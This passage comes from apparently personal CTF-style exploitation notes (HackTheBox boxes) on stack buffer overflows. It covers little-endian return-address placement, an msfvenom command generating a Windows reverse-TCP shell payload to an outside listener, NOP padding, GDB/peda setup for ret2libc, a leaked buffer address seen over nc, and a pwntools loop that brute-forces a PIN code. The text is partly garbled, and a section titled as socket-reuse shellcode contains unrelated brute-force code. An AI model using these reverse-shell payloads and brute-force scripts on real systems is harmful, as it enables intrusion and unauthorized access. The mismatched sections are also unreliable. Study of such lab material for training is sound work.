REMBEMBER LITTLE ENDIAN\x62\x50\x11\xAF (system) -> \xAF\x11\x50\x62 (exploit)
Put the adress on the "retn" variable. If the EIP is the same as ESP you success at jummping to ESP.
Generate the Payload
We will generate the payload with msfvenom, (DON'T FORGET TO PUT THE FOUND BAD CHARS)``
msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=10.11.21.203 LPORT=4444 EXITFUNC=thread -b "\x00\x07\x2e\xa0" -f py
| sed 's/buf/payload/g'
Hint: Using EXITFUNC=thread will only finish the thread once termintad the reverse shell without affecting the whole program. -> NO DoS
Copy the generated payload ant integrate it into the exploit.py
Prepend NOPs
We will need some space in memory for the payload to unpack itself, if we added a padding before to match the beginning of the payload with ESP add another 16 NOPS.
padding = "\x90" * 16
Linux 32 bits
Ret2Libc (Localy)
For that task we are going to use a Kali with gdb-peda installed:
Running the binary with GDB
❯ gdb rop
GNU gdb (Debian 10.1-1.7) 10.1.90.20210103-git
Copyright (C) 2021 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from rop...
(No debugging symbols found in rop)
gdb-peda$ r "Hello World"
Starting program: /home/mvaliente/KaliShared/ctf/HackTheBox/Frolic/content/rop "Hello World"
[+] Message sent: Hello World[Inferior 1 (process 379963) exited normally]
Warning: not running
gdb-peda$
Notice that we get a message in GDB telling us that the the process was detached after a fork from the child process. We can fix that by setting the following commands in GDB.
gdb-peda$ set follow-fork-mode child
gdb-peda$ set detach-on-fork off
Finding the offset
Create the pattern
Create a randomized pattern in order to find the offset with the EIP value.
We can see that PIE is enabled which stands for Position Independent Executable. This means that the memory locations will change every time you run the application. This makes exploiting buffer overflows harder. However, in that example of BoF there was a DEBUG parameter that gave us the location of the buffer overflow-able field.
❯ nc 10.10.10.34 7411
OK Ready. Send USER command.
DEBUG
OK DEBUG mode on.
USER admin
OK Send PASS command.
PASS admin
Debug: userpass buffer @ 0xffffd610
Incorrect username and/or password.
ERR Authentication failed.
Socket Re-Use
Instead of spawning a reverse shell that maybe give problems to us with bad characters we can re-use the open socket.
The following shellcode works to re-use the socket.
from pwn import *
for i in range(0, 9999):
code = "0" * (4- len(str(i))) + str(i)
# r = process("./mypapp")
r = remote("localhost", 910, level='error')
r.recvuntil("[$] ")
r.sendline(code)
response = r.recvline()
r.close()
if b"Access denied" not in response:
log.success("Valid code found " + code)
break